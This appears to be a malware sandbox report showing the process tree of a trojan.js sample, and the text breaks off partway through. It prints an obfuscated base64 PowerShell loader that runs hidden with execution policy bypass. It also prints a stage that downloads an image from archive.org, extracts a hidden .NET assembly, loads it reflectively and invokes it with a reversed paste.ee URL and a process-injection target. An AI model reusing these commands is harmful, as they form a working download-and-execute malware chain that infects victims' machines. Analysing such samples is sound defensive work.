⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                                                                                                                                  2⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  PID:4148
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
                                                                                                                                    3⤵
                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:5436
                                                                                                                              • C:\Windows\System32\WScript.exe
                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"
                                                                                                                                1⤵
                                                                                                                                  PID:5284
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ 